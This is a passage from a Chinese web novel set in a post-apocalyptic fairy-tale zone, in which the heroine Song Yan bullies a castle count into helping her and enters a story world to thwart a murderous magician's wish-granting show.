她尝试过许多办法,也没能成功离开辐射区。 而现在,机会来了。 南希表态后,屋子里一时陷入沉默。 姜夜白若有所思地看着宋言,南希谁也不理,一心照顾昏睡的姐姐。 最后是兰德打破了寂静。 窗外的天色越来越亮,夜晚即将过去。 他问道:“天要亮了,你们接下来打算去哪?” 宋言思索片刻,道:“我回古堡,古堡的饭比童话镇的好吃多了。” 说完,她感觉自己又饿了几分。 一晚上不是在逃难就是在逃难的路上,她现在分外想念自己房间柔软的床铺。 姜夜白有些纠结,片刻后,对宋言说:“那我也去古堡吧。” 宋言认真道:“你去古堡的话,只能睡我房间打地铺。” 如果姜夜白大半夜敲别人的门,大概人家会吓得落锁堵门躲床底三连招。 姜夜白依然坚持要去古堡。 他诚恳道:“我觉得,不跟你跟紧点,会错过很多关键情节。” 踏着破晓的天色,宋言和姜夜白从窗户重新翻进了房间。 宋言没睡上几个小时,就被敲门声吵醒了。 “请客人前往宴会厅用餐。”门外传来管家的声音。 “伯爵先生不喜欢不守时的客人。” 天色大亮,宋言揉着惺忪的睡眼,推开房门走出去,发现走廊上站着一排衣衫不整的人。 大家都是强行被从睡梦中叫醒,此时面面相觑。 管家站在走廊尽头,皮肤是久不见阳光的苍白,眼神阴冷,让人想起某种长满鳞片的爬行动物。 “希望各位客人都能准时到达宴会厅用餐。”说完,他毫不留恋,转身下楼。 方可和宋言隔着几个房间,此时来到宋言门前,刚想开口。 正好撞见整理好衣衫从宋言房间里出来的姜夜白。 姜夜白此时用的早已不是车上那张脸,气质天翻地覆,方可一时认不出眼前这个俊俏的黑发青年是谁。 她不由看向宋言:“这位是?” 宋言随口道:“我昨晚从童话镇带回来的npc。” 她不知道姜夜白愿不愿意在众人面前暴露自己的身份,随口扯了个谎。 方可面上不显,心中却掀起惊涛骇浪。 她不禁感叹,人和人之间的差别,真是比人和猪之间的差别还大。 有的人进辐射区战战兢兢,而有的人在里面连吃带拿。 12. 童话镇10(小修) 《人在废土,刚炸副本》全本免费阅读 012 * 在座的男士,闻言不由面露惊恐。 身/下某处仿佛已经遭受了腐刑,隐隐作痛。 宋言重复自己的要求:“我饿了,再上点菜,我想吃肉。” 管家仍然保持得体的笑容:“对不起,伯爵觉得......” 宋言打断他的话:“我不要他觉得,我要我觉得。现在、立刻、马上、上菜!” 宋言觉得自己的胃仿佛在被一把饿火焚烧,“饥饿”现在完全占据了她的大脑。 她迫切需要食物来填饱肚子。 管家没有动作。 宋言站起身,打算自己去后厨找饭。 却被管家拦住。 管家微笑道:“保持身材是成为完美的新娘的必要步骤。这是伯爵先生的命令。” 他说:“我只是听从主人吩咐,您何必迁怒。” 宋言望着他,忽然笑了起来。 她平静开口:“主人的吩咐你听,那么女主人的命令你听不听呢?” 她没有给管家留下消化的时间,将口袋里的苹果拿出来,放在桌子上。 苹果在桌子上“滴溜”滚了一下,撞到玻璃杯才停下来。 宋言一字一句道:“我,白雪公主,今天来给艾德安伯爵下聘,这是我的聘礼。” 她指了指在玻璃杯前立正稍息的苹果,继续说:“现在,让我的未婚夫来见我。” “或者,我亲自上去给我的未婚夫立立规矩。” 管家神情晦暗地看了宋言一眼,最终什么也没说,上楼向伯爵请示。 片刻后,管家回到一楼。 他恭谨道:“伯爵在三楼等您。” 宋言沐浴在众人惊异的目光里,旁若无人。 她将半杯牛奶一口闷了,才踏上楼梯。 说实话,她现在已经饿到看着管家都像蒜香鸡翅的地步了,不喝点东西压一压,她怀疑自己见到伯爵的那一刻,会把人家当鸡腿啃了。 伯爵的卧室在三楼走廊尽头,年代久远的房门虚掩着。 宋言推开门,粉尘扑簌簌落了她一身,门板发出“吱呀——”的响声,半死不活地开了。 宋言:......看来这房子确实该拆了。 门打开,屋内燃着幽暗的烛火,摆设奢华考究。伯爵坐在书桌前,半张脸隐在黑暗里。 然而首先撞进宋言视线的是他后脑勺层层叠叠的绷带。 伯爵的脖子正顶着一个大号白色粽子,阴沉沉地看向她。 她愣了一下,忍不住笑出声来:“我说怎么没在楼下看到你,原来是因为这个。” 她真诚建议道:“你可以戴顶帽子的,就谁也看不出来了。” 被宋言一通挤兑后,伯爵的脸阴云密布,仿佛下一刻就要下起暴雨。 他沦落至此,罪魁祸首还不是眼前的女人,结果,这个该死的女人还笑得出来?! 他威胁道:“你还在古堡,就还是古堡的客人。冒犯主人,这不合规矩。” 他嘴边噙着一抹恶毒的微笑,终于抓到了宋言的错处,可以利用规则惩罚她。 他愉悦地想,该用什么刑罚让这个不听话的客人清楚自己的身份呢。 没等他想完,宋言几步上前,揪住伯爵的领子,一只脚踩在椅子上,几乎要把他整个人从靠背椅上提起来。 “跟谁演聊斋呢,艾德安伯爵,或者我该叫你,被封印在童话故事里的小鬼。” 她笑出声来:“一个过家家,你还真把自己当‘伯爵’了?” 伯爵琥珀色的眼睛里,惊诧一闪而逝。 他原本是来这个辐射区猎食的,这个辐射区迟迟没有形成域主,他也就有很多时间去寻找猎物。 大鱼吃小鱼,小鱼吃虾米。 他还真就从一只小虾进化成了一条小鱼。 他清楚,自己的实力虽然有所增强,但是对上强大的畸变种,连塞人家牙缝都不够。 他本来打算见好就收,吃饱了跑路。 但是人的贪欲是没有止境的,畸变种也一样。 他慢慢由一条塞牙缝的小鱼,长成了可以收割的大鱼。 等到他吃饱喝足,准备撤退的时候,才发现自己早已撞入猎人的陷阱。 伯爵迟疑抬头,正好撞入宋言极亮的双眼。 他被宋言揪着领子按在椅子上,发现自己挣脱不能,不由心惊。 伯爵试探开口:“这位......姑娘,我不懂你在说什么,能否先放下我,什么事都可以商量......” 宋言看着眼神闪烁的伯爵,心中不由好笑。 一边在担忧自己的性命,一边还在演。该不该夸一句心理素质过硬。 她从昨晚的古堡晚宴,油画杀人事件推测出,在古堡,要违反特定的规则才会受伤害,甚至不一定致死。 所以晚宴上即使宋言吃饭喝酒也没有遭遇生命危险,油画环节也因为超时而没有触发畸变种。 古堡的主人要利用规则才能杀人,而有些规则甚至在保护人类。 这就让宋言断定古堡的主人——伯爵的实力越不过古堡本身。 或者用宋言更熟悉的话来说,伯爵,不过是古堡的打工仔。 在魔法书那里读完[伯爵的新娘]这个故事后,她更加笃定,伯爵也只是个被封印在童话里的畸变种。 这个副本通过童话故事形成里世界,将进入的畸变种关在里面。 而管家的邀请,是进入《伯爵的新娘》世界的通行证。 那么,该怎么进入那个有畸变核的里世界? 她嘲讽道:“当初怎么也算个小boss,现在被人封印在童话里,混辐射区混成这样,丢不丢人啊。” 她右脚在伯爵脸上碾过,俯视着伯爵,眼神冰冷:“我以为你至少有点用处,这么弱的话,不如一口吞了,虽然也没几两肉。” 伯爵望着宋言无机质的目光,心中一时闪过无数念头,急中生智:“饶......饶命,小的,小的有用的......” 他连忙说道:“您看您想要什么,小的双手奉上,或者您要我去做什么都行......” 他几乎要哭出来:“吃的......厨房有多少您拿多少,我肉质又老又松,怕咯着您的牙......” 伯爵这句话终于触动宋言的心弦,她松开手,留奄奄一息的伯爵摊在靠背椅上。 宋言平静开口:“我要你去做一件事。成功后,我会放你自由。” 交代完伯爵后,宋言丝毫不拖泥带水,抬脚就走。 然后,倒在了通往二楼的楼梯上。 宋言后背抵着墙,勉强支撑着自己的身体。 一个褐色的药瓶从她口袋里掉出来,骨碌骨碌滚到脚边 13. 童话镇11(小修) 《人在废土,刚炸副本》全本免费阅读 013 * 夜幕很快降临。 宋言打开系统面板,【毒蘑菇】已经冷却完毕,【沼泽蘑菇】这个天赋还在冷却中。 而【格斗专精】是随时可以用的固有天赋。 她没有时间去等剩下的天赋冷却完,童话作者不知道什么时候会反应过来她在驴他,伯爵的忠诚度也有很大变数。 傍晚时分,宋言在和方可,南希确认过一遍计划细节后,决定今晚就开这个擂台。 免得夜长梦多。 现在方可那边好戏已经开场,她和姜夜白也该开始了。 姜夜白见她目光在虚空中一目十行,半晌才开口:“你打算去哪找畸变核。” 他说:“童话镇虽然不大,但一个晚上想在这个地图上一寸寸找也不现实。而且南希他们的战场就在童话镇,我们的小动作很容易被发现。” 宋言:“谁说我们要去童话镇找了。” 姜夜白纳闷道:“你要在古堡找?恕我直言,我不认为畸变核会在古堡。” 宋言叹了口气,道:“拜托,难道这个辐射区只有古堡和童话镇两个地方了吗?我们面前明明还有一片广阔天地。” 她在姜夜白不解的目光中解释道:“你想想,这个辐射区的组成部分除了童话镇和古堡这两个物理建筑之外,还有什么?当然是童话啊!” “不仅这个辐射区的攻击是以童话形式呈现的,就连我们这些人,从进来的那一刻,就被卷入了童话。” 姜夜白更迷惑了:“进入童话?” 他寻思着童话又不是摆在你面前的辐射区,想进就进。 宋言从系统背包里拿出魔法书,而落在姜夜白眼里就是她从虚空中抽出一本书。 他暗想,难道她有空间系天赋? 魔法书自动浮在空中,颇为得意,很有韵律地上下浮动。 “哼哼哼,现在想起求本座了吧。” “泼妇!你竟敢囚禁本座!量汝初犯,吾且饶你一命。” “我愚昧的子民啊,向吾献上你们的心脏,伟大的神灵或可垂怜。” 宋言敲了魔法书一脑袋,险些把它从半空中打落。 愤怒的声音响起。 “暴民!竟敢对本座不敬,来人啊,将她流放宁古塔!” 宋言扶额,这个神金到底看了些什么啊...... 她威胁道:“正常点,不然你知道的,化粪池。” 魔法书老实了。 宋言问道:“作者在哪篇故事的修改上花的时间最长?” 她觉得作者修改时间最长的那一篇童话,必定是童话本身很难改,是整个童话镇的底层设定。 畸变核很可能就藏在这篇童话里。 魔法书却回复:“你这样问,我不太好答啊......” 宋言思索片刻,换了个问法:“最先被修改的是哪一篇?” 这次魔法书很快翻到《龙神》的页码。 它道:“喏,就是这篇。” 宋言问:“我们怎么进入这篇童话?” 魔法书沉默良久,才迟疑道。 “作为你忠实的朋友,我建议你不要这么做。” “上一个这么做的人,坟头草已经两米高了。” “那是个小女孩吧,大概这么高......” 它在空中浮动了一下,停在宋言胸部比划高度。 宋言嫌它啰嗦:“你就说给不给进吧,给就麻利点,不给的话,你知道的。” 她无声对魔法书说出三个字。 魔法书:...... 它说:“想进去也简单,你在原地转三个圈,心中默念想进去的童话名字一百遍,就能进去了。” 这么简单? 宋言怀疑地看着魔法书。 听起来就像上辈子她那个弱智弟弟会看的动画片的内容。 魔法书不爽道:“不要怀疑伟大的魔法书,都童话了你还想怎么样,不想进别进。” 没有其他办法,宋言和姜夜白按照魔法书提供的方法,原地转了三个圈,默念《龙神》的名字一百遍。 然而无事发生。 宋言干脆再转了三个圈,又念了一百遍。 依然无事发生。 姜夜白坐在床上,叉手看着宋言重复这个看上去脑子有点问题的仪式。 他说:“你说,我们是不是被它驴了?” 宋言刚想抓魔法书来问个究竟,眼前却突然天旋地转。 再睁眼,姜夜白和房间里的床都已消失不见。 她正站在人潮涌动的大街上,嘈杂的人声,汽车的轰鸣声在耳边炸响,街边传来一阵烤红薯的香味。 突然,她被一个小女孩撞得一个踉跄,差点扑倒在地。 撞她的人摔了一个屁股墩,立马从地上爬起来,狠狠瞪她一眼。 她率先开口:“没长眼睛啊!看不到前面有人啊。” 火药味在空气中迸开,宋言皱眉瞥她一眼,却愣住了。 那是更小一些的南希。 她为什么会在这里? 南希没再管宋言,径直走开了,留宋言一个人伫立在大街上。 街道是熟悉的童话镇的布景,道路设施完好,比现实里已经沦为辐射区的童话镇更像人类的家园。 南希比现实里要小很多,这说明,这个故事的时间线在童话镇成为辐射区之前。 宋言耳边响起清亮的童声。 一个头顶到她胸部的小孩,抬起冻得红通通的脸,耷拉着鼻涕凑近。 “女士,你需要一份报纸吗?” 宋言接过小孩手里的报纸,摸了几个帝国币给他。 幸好这地方还收外面的货币。 她展开报纸,一边思索要怎么找到被分开的姜夜白。 要不去广播站插一条广播,就说寻找走失儿童? 她脑中闪过几个念头,眼睛却在报纸打开的那一刻被牢牢吸引住。 头版头条,黑色粗体的标题径直撞入她的眼球。 [国宝级魔术师莱尔首场童话镇巡演在大礼堂开幕!] 硕大的新闻标题下,依然是那张英俊迷人的男性面孔,与宋言在古堡外捡到的那张照片的 14. 童话镇12 《人在废土,刚炸副本》全本免费阅读 014 * 今天的大礼堂热闹无比。 鎏金的南瓜马车上走下一个衣裙婀娜的女人,穿着一双水晶鞋,娉娉婷婷走进大礼堂。、 裙摆在她身后摇曳出优雅的弧度。 礼堂内,名贵的香料在熏炉中燃烧,白色的香气慢慢扩散。西服烫得妥帖的男士和穿着蕾丝边衣裙的小姐们在低声交谈,珠宝配饰碰撞出悦耳的声响。 “哎呀,我期待莱尔先生的表演很久了呢!” 一个用羽毛扇半遮着脸的女孩轻声和同伴说:“听说莱尔先生能用魔术实现任何愿望,上次他在帝都表演的时候,一个女孩许愿,希望让她的心上人爱上她。你知道她的心上人是谁吗?” 同伴好奇:“是谁?” 女孩笑道:“是沈家的小公子沈溯,帝国议会长的亲侄子!” 帝国议会是帝都的权力中心,帝国议会长从职位名称上就能看出其位高权重。 同伴惊讶道:“啊,是沈溯吗?我记得他不是已经订婚了吗。那场订婚仪式之盛大,据说让帝都上空连下了十天玫瑰雨。” 女孩:“所以才说这个愿望有趣嘛,你猜最后她的愿望实现没有。” 同伴:“要是没实现,魔术师还有脸去其他地方巡演嘛,我看实现是实现了,但是我很好奇是怎么实现的?” 听到同伴发问,女孩神秘地压低声音:“我听说,在女孩许下这个愿望之后,沈溯就疯了一样要退婚,说自己另有所爱。” 同伴:“啊?真有这事?” 女孩绘声绘色道:“对啊,我有个亲戚在帝国议会当侍卫,他和我说,沈溯当天就冲进帝国议会找他舅舅沈桉,跪在地上求他成全自己。” “当时沈桉那脸色,啧啧,绝了!当即命令侍卫将沈溯关回沈家,现在估计都没放出来。” 两人声音很低,在人声嘈杂的礼堂内很不显眼,但是宋言在捕捉到关键词后,一直留意着她们这边的对话。 魔术师还在帝都活动过? 宋言不由纳闷,帝都是所有安全区里防护最严密的,内有像楚北倾,林凛这种高等级能力者坐镇,没道理能让一个畸变种大摇大摆在眼皮子地下活动。 除非,那时候的魔术师还是人。 宋言想和姜夜白说自己的怀疑,转头却发现他的脸色很不好看。 下一秒,他瞬间隐去了这些神色,道:“礼堂里的香熏得我头晕。” 说着,他还作势要往宋言肩膀上倒,来彰显自己的柔弱。 宋言:...... 宋言无语道:“别演了,这里不是你的舞台。” 姜夜白的舞台不在这里,但有的人舞台已经预热好了。 随着宋言这句话落地,礼堂前方的聚光灯瞬间亮了起来。舞台慢慢升起,悬在空中,红色的帷幕缓缓拉开。 主持人率先从帷幕后走出。 “女士们先生们,欢迎来到现场观看激动人心的魔术表演!” “现在让我们有请魔术师莱尔先生登场!” 在主持人慷慨激昂的报幕声中,魔术师莱尔终于缓步从帷幕后走出。 他穿着深色燕尾服,领口打着一个漂亮的领结,姿态优雅。 和姜夜白那种春山流水般清畅的美貌不一样,他的脸英俊迷人,你第一眼就会陷在他水光潋滟的桃花眼里。 在场的许多女士在魔术师露面的第一刻,就发出了热烈的欢呼声,“莱尔”的名字在场内此起彼伏,如声浪般席卷全场。 宋言环顾四周,尽是面露痴迷的面孔,心中泛起一丝疑惑。 此情此景,难免让她想到上辈子明星演唱会里的情形,虽然她嫌票价贵从没去过,但是也略有耳闻。 可是看这些人衣着优雅,像是童话故事里的夫人小姐,会像21世纪的女大们一样为偶像声嘶力竭吗? 突然,姜夜白推了推她。 他好奇道:“你怎么不看台上那个魔术师?” 宋言回答:“没兴趣,而且我还在想畸变核在哪。” 姜夜白赞同道:“也是,一个狐狸精而已,没什么好看的。” 在人群的第一波欢呼声过后,魔术师终于开口。 优雅的音乐声在他脚下响起。 他微笑着向舞台下的观众致敬,音色低沉,如大提琴缓缓奏鸣。 “非常感谢诸位来观看我的魔术表演,接下来,请欣赏今天的第一个魔术。” 莱尔从前胸抽出一条白色丝巾,相当优雅地将它扎成一朵玫瑰花,手捧玫瑰向台下的女士行了一个绅士礼。 那位女士因为魔术师的特别关照,不禁脸红,不敢与莱尔对视。 然而下一秒,莱尔含着优雅的微笑,手中的花束瞬间变作一只白鸽,从他手中飞出。 白鸽从一只变成两只,两只变成四只,最后无穷无尽。观众的视线在白鸽腾飞的身影中眼花缭乱,眼前尽是重重叠叠的白色虚影,在空中疯狂飞舞。 它们在空中组成一片白色的大网,呼啸而过,将最前方那位女士卷起,从穹顶扔了出去。 莱尔望着礼堂内纷纷扬扬落下的羽毛,面带微笑,朝观众席弯腰致意。 观众席瞬间爆发出热烈的掌声。 “莱尔”的名字再次响彻云霄,在新一波浪潮里被推至顶峰。 宋言隐没在观众席,看着越来越狂热的人群和被从穹顶抛出去的那个女人,神色古怪。 她隐约听到礼堂外面,传来重物坠地的声响。 她小声和姜夜白咬耳朵:“嘶...我感觉那个人已经被摔成肉酱了。我......以前见过人跳楼,人从几十米高空掉下去,像摔坏的娃娃。脖子会在坠地的一瞬间扭断,人在这个时候还没完全断气的,会睁着眼睛呼吸,甚至还能说话,你要是去看她,她的眼珠子肿得像鱼泡,脑袋底下是红红白白的浆,像白叶红花。” 姜夜白一时表情难以形容:“你在给我讲鬼故事?” 宋言笑起来:“对啊,吓到你了吧。” 她很大方地张开双臂:“来,吓到了可以哭的,姐姐不笑话你。” 姜夜白看着突然抽风的宋言,张嘴想说些什么,最终还是一言不发。 算了,他从见这姑娘第一面开始,就知道不能用常理揣测她。 一个鬼故事而已。 而第二个魔术已经开始。 舞台悬在空中,观众们必须抬头才能看到舞台中央的魔术师。 他轻松写意地来到舞台边缘,轻轻打了个响指。 下一刻,礼堂内燃起冲天火光。 火焰从墙边燃起,如肆虐的野兽,张扬着凶恶的爪牙,咆哮着向观众们冲来。 一时间,原本的欢呼声被尖叫声取代,恐惧,焦虑的情绪如毒药般在礼堂内蔓延。 人们一股脑地涌向出口,却因为争先恐后反而将出口堵住,进出不能。 姜夜白拉住宋言,眼眸隐隐泛出金色。 他道:“门口出不去,我先把你从上面送出去。” 宋言却摇头:“不用,你再仔细看看这些火焰。” 闻言,姜夜白真的扫视四周,仔细观察火势。 片刻后,他发现,被火焰灼烧的墙壁竟然一片洁白,没有一点被烧焦的迹象。 宋言走到火边,将手放入火中炙烤。 15. 童话镇13 《人在废土,刚炸副本》全本免费阅读 015 * 男孩惶恐地站在舞台上,底下的观众打量他就像在打量马戏团展览的野兽。 魔术师温柔地抚摸他的头顶,柔声道:“别紧张,孩子,来,告诉我你的愿望是什么。” 男孩迟疑开口:“可不可以,治好我妈妈的病?” 这个冬天太冷了,绅士小姐们可以在烧着地龙的房子里过冬,贫民窟的穷人却买不起一件过冬的棉袄。 或者说,保持这种财富差异,才能让底下的人有卖命挣钱的动力,贵人老爷们才有源源不断的燃料投进发动机。 而在童话故事里,贵族永远是贵族,贫民永远是贫民,不存在鲤鱼跃龙门的神话。 不然鲤鱼都去跃龙门了,谁去当卖火柴的小女孩,当彰显公主王子善心的展示板,给看客欣赏。 男孩太年幼,还没懂这之间的逻辑关系,只是有时候会怨怼,为什么那些小姐宁愿把茶话会拿来装饰的点心倒进垃圾桶,明明在他看来,那些精致的食物是他妈妈工作一年都未必能吃上的。 为了给他妈妈挣够药钱,男孩在卖报之余还做了好几份兼职,现在才会在这个礼堂里。 一刻钟前,他还在出口处维持秩序,疏散拥堵的人群。 他冷眼看着平日里衣着光鲜的大人物们在火灾面前,也不过是被狼冲散的羊群。 愚蠢,懦弱,狼狈。 凭什么这帮蠢货什么都不用做,就有大把人将世界上最好的东西捧到他们面前,而他们这些人,就要当贵人们脚底的泥,衣角的灰。 就凭他们会投胎吗? 有人说运气也是实力的一种,这么看的话,男孩觉得自己和妈妈实在是运气太差了。 他妈妈没有投胎到富贵人家的好命,也没有被地主家傻儿子看上的运气。 于是在那个男人扔下他们母子之后,妈妈只有他了。 男孩身量还未长成,只到女人胸口。 他替母亲擦去眼角的泪,轻声安慰她,被女人搂进怀里哭泣。 在那一刻,他心里突然冒出一个恶毒的念头,他希望那个男人死在外面,再也不要回来。 他讨厌被抛弃,而只要那个男人不再回来,他母亲的世界里就只有她和他。 他们母子相依为命。 男孩的声音在舞台中央响起。 魔术师微笑着问他:“你确定是这个愿望吗?” 他补充道:“这个愿望是什么都可以。你确定只许一个治病救人的愿望?” 底下的观众在听清男孩愿望的一瞬间,纷纷扬扬的议论声响起。 “不是吧,就许这么简单的愿望。” “他妈妈活过了这个冬天还不知道活不活得过下一个冬天呢。” “他还不如许愿自己暴富,啧啧,穷人家的小孩就是蠢。” 观众的议论如千万只细密的蚂蚁,用口器噬咬男孩的每一寸皮肤。 他的脸色一瞬间无比难看。 突然,几锭金子被掷上舞台,散落在男孩眼前。 一个尖锐的声音响起。 “我和你买这个愿望,你下去吧,换我许愿!” 又是几锭金子抛上来,正好砸到男孩脸上。 他吃痛,不由痛呼出声。 底下笑声一片。 男孩脸色难看极了,他冷眼扫视礼堂内的所有人,轻蔑,讥讽的视线如附骨之疽,在他骨髓中生根发芽。 他将金子攥在手里。 他不禁想,这算什么,对他的施舍吗? 他们怎么可以一边心安理得地将别人当作牛马,一边将自己付的微薄报酬看作垂怜。 就因为,他们天生比别人更加平等吗? 魔术师仿佛没有注意到男孩的脸色,继续问道:“孩子,你确定是这个愿望吗?” 半晌,男孩才平静开口:“不,我改主意了。” “我恨他们,”男孩指着礼堂内的所有人,说,“能不能让他们都去死。” 不是觉得他比他们都低贱吗,那让他们尝尝,被自己毫不在意的小老鼠弄死是什么滋味啊! 魔术师依然微笑,甚至是赞赏地看着男孩。 他说:“好,我为你实现这个愿望。” 下一刻,穹顶霎时黑了下来。天空如同克拉肯的巨口,向礼堂内的人们露出狰狞的面目。 宋言从男孩许愿的那一刻就站了起来。 摩肩接踵的礼堂内,她并不显眼。 但是舞台上的魔术师一眼就找到了她,甚至弯着眼睛向她行了个绅士礼。 他从一开始就知道她在这里! 甚至,是他故意将她引来这里,观看这场盛大的表演。 穹顶涌动的黑雾中,跳下无数黑色虚影。 一只鱼人跳到宋言面前。 鱼人上半身是长满了密密麻麻鱼卵泡的鱼头,下半身是腿。 腿修长白净,相当符合某些群体对白袜体育生的幻想。 它才刚刚进化出在陆地上行走的脚,行走不便,但对面前的饭相当垂涎。 于是它决定模仿远亲癞蛤蟆,一蹦一蹦地去够眼前的天鹅肉。 如果不是自己就是它的饭,宋言得承认这个鱼人其实长得丑萌丑萌的。 宋言从背包里抽出长刀,在手臂上划了一刀,【毒蘑菇】的血液具有腐蚀性和毒性,相当于给刀刃抹上一层鹤顶红。 刀身在半空中划过半月形的弧线,径直向鱼人斩去。 一道寒亮的刀光闪过,鱼人上下分离。 鱼卵泡在地上一个个破开,流出腥臭的脓水和一条条小鱼。 小鱼顺着脓水游到不远处一个倒地的人身上,欢快地从他眼眶钻进去,那人立刻抱头惨叫。 在鱼钻进 16. 童话镇14(小修) 《人在废土,刚炸副本》全本免费阅读 016 * 沉默。 宋言闭上眼,地上的惨象仍烙印在她视网膜上。 她来自和平的21世纪,按部就班上学工作,见过最残酷的人间也不过是新闻上的俄乌冲突死了多少人。 但是新闻上冰冷的数字,和亲眼所见,是有区别的。 这个世界残酷的面目向宋言露出冰山一角,仿佛在嘲讽她此前的自大狂妄。 害怕吗?想退缩了吗? 回帝都吧,小姑娘,在全世界最严密的安全区里,和男主谈个甜甜的恋爱不好吗? 你看,我把路都给你铺好了,是你自己要跑去辐射区受罪的。 现在是看到满地断臂残肢,以后说不定哪一刻,你宋言就是地上的残肢。 她要如何呢?她要受不了了吗?她要放弃吗? 在心中升起一丝犹疑,一丝畏惧的那一刻,宋言耳边又听到那些声音。 “妈蛋的,和你妈一样是个贱种,早点滚出我们老李家!” “这个专业很累的,你可能受不了。” “言言,以后我们结婚了,你就换个清闲点的工作好不好,我不想你那么累。男人嘛,就是要赚钱养家的。” 无数人的声音在她耳边盘旋,汇成一股滔天巨流,要将她吞噬。 前进,或者后退。 前方是万丈深渊,后退是盛满蜜糖和香料的美梦。 宋言却猛地睁开眼。 不!绝不! 她厌恶软弱,厌恶屈服。 她宁愿怀揣着宋言这个名字而死,也不愿屈从。 她右手压在腰间匕首上,铁器的冰冷烙在她手心,唤回她的理智。 身旁是汹涌的人潮,宋言一个人站在人群中,静立不动。 她又回到了故事开头,童话镇尚未被畸变种侵袭的时刻。 在礼堂被姜夜白烧毁后,她眼睛一睁一闭,不论是金色巨龙,魔术师,还是畸变种,都如一场幻梦。 但宋言澎湃起伏的情绪告诉她这一切都真实发生过。 只是现在一切重来。 故事重启,对她来说是好事。她可以在这一周目寻找新的路径找到畸变核。 宋言强迫自己从汹涌的情绪中抽身,去思考现在的对策。 她将魔法书从系统背包里拿出来,翻到她进入的童话《龙神》那一页。 故事配了插图,插图是彩色的。 上面画着一只金色巨龙,巨龙身侧是白骨相接而成的巨大龙翼,背上坐着一个女孩,女孩闭着眼,发丝在空中飘扬。 巨龙悬停在空中,地面的建筑在巨龙的火焰中燃烧,建筑四周,横七竖八躺着面目全非的尸体。 有人类的,也有畸变种的。 彩插上,巨龙和女孩被描绘得毫发毕现,每一片龙鳞的纹路都被画笔仔细描摹出来。 相比之下,其他部分就显得模糊不清。 宋言记得在进入童话之前,没有这页彩插,故事原本的文字部分被黑色的污渍覆盖,篇末留出一页白色空白。 当时她以为是漏印。 但现在看来,是她和姜夜白进入这个故事后,为《龙神》增加了设定? 新出现的条件使宋言推翻了自己之前的推测。 她之前以为,有人在她看不见的地方提前为她写好了剧本,她被迫出演,遵循他写下的故事轨迹前进。 但是现在她发现规则改变了,她可以影响到故事,也就是说,在这个小世界里,她拥有改写故事的权力。 无数因果编织的命运线被她搅动,她不再是被操纵的提线木偶。即使有人为她提前写下轨迹,此时也得在她的行动下让步。 这种感觉......宋言不得不承认,爽极了。 如果身处里世界的人的行动可以改变故事的话,那么魔术师举行盛大的魔术表演,是想改变什么? 还是说,他有想要的东西,而他可以通过魔术表演来得到它。 几个疑问盘桓在宋言心头,她思考良久,最终敲定答案。 反正,魔术师是她的敌人,而只要让敌人的目的实现不了,对她就有利。 她抬起头,环顾四周,在不远处发现了一个熟悉的身影。 是南希! 宋言看着南希的身影,一个计划在心中逐渐成型。 * 南希贪婪地呼吸着柜台前烤红薯的香气,攥着口袋里零星几个硬币,怎么也迈不开腿。 突然,一个香喷喷的红薯递到她面前。 后面是宋言的笑脸。 她将烤红薯递到南希手里,笑道:“姐姐请你吃。” 南希的目光动了一下,最终没能抵御烤红薯的诱惑。 她看着宋言:“要两个。” 宋言答应了,手伸进口袋时,不由窘迫。 糟了,之前买票钱用完了。 故事重启怎么不给她把金钱也重置一下。 奸商! 宋言在心里骂完故事又骂了一遍魔术师,打算厚着脸皮和老板赊账。 却转头看见姜夜白向这边走来。 !!! 姜夜白看到宋言和南希在一家商店门口停留,正准备过去找她们,却发现宋言突然转头,直直看向他。 宋言破天荒地看见他时眼神一亮。 姜夜白心头不由一动,女孩极亮的眼神同她利落解决畸变种时的神情一瞬间重叠。 一刻钟后,三个人边啃烤红薯边走回南希家。 宋言觉得嘴边的红薯无比香甜,可惜只在童话世界里有。 她随口问道:“你之前为什么叫我闭眼?我睁眼的话会怎么样?” 姜夜白:“啊?睁眼不会怎么样啊。” 宋言纳闷:“那你让我闭眼?” 姜夜白嘿嘿 17. 童话镇15(小修) 《人在废土,刚炸副本》全本免费阅读 017 * 街道上人头攒动,到处都贴满了魔术师首场巡演的海报。 魔术师的脸被放大印在海报上,随便往哪个方向走都能看到他迷人的微笑,相当掉san值。 虽然他的微笑此时更像是对宋言的嘲讽。 姜夜白安慰道:“就算南希不愿意帮忙,我们也可以想其他的办法。” 他想了想,说:“你只是不想魔术师能找到人向他许愿,触发他的能力。大不了我们就把去看魔术师表演的人全绑了,他不就找不到人许愿了。” 宋言还在思考,随口接道:“哪有那么容易,你就算把整个童话镇的人套麻袋,恐怕一时间都找不到这么多麻袋。” 忽然,她眼前一亮:“等等,绑人......我突然有一个想法......” 她从姜夜白口袋里摸出几枚硬币,然后和不远处几个报童耳语片刻,才红光满面地回来。 姜夜白奇了:“你打算怎么做?” 宋言但笑不语。 最终姜夜白遏制不住自己的好奇心,连声催问宋言。 她才说:“我觉得要让魔术师找不到人许愿,不只有强迫这一种办法” “我们可以让整个童话镇的居民,心甘情愿放弃魔术师的演出,来看我们的。” 姜夜白听到后面这句,眉心一跳:“我们的?” 宋言看着他的眼睛,笑道:“我刚才吩咐那几个报童,让他们到处散播消息:中心广场的龙神显灵了!” 她拍拍姜夜白的肩,语重心长道:“接下来,就靠你了!” * 童话镇,大礼堂内。 魔术师面带微笑,从帷幕后走出。 可当他走到台前,俯视台下的观众时,笑容几乎要维持不住。 观众席上空无一人。 他勉强维持住假面,向主持人问道:“人呢?今天来看表演的人怎么这么少?” 何止少啊,根本就没人。 然而主持人不能刺激到魔术师,让他认识到自己已经人老珠黄的事实。 他陪笑道:“可能,是因为今天童话镇的居民都去看龙神显灵了吧。” ??龙神?显什么?显灵??? 主持人看着魔术师满头的问号,试探道:“要不,我陪您去看看?” 中心广场。 中心广场虽然名字里带“中心”两个字,但和这个词搭不上半点关系,大多时候是老人遛弯的首选之地。 它的正中央是一座喷泉池。 喷泉池的中心是一尊大理石铸就的龙神像。 龙神像制作粗陋,白色的大理石外壳已经被风化成灰色,表面挂满密密麻麻的蜘蛛网。龙神眼中的金色眼珠不知何时已经被小孩子抠去一粒,只剩下右眼闪烁着暗淡的光泽。 然而这尊独眼龙像,却吸引了真龙降临。 魔术师挤开熙熙攘攘的人群,往广场内部走去。 一面往里挤,一面遭受人群的白眼。 “什么档次啊,穿得怪里怪气的!” “妈的踩到我的脚了,傻X!” 魔术师阴沉的视线在那个骂他傻X的青年头上扫过,轻抬右手,最终还是忍了下来。 他挤到前面,入目所及,是一条金色巨龙。 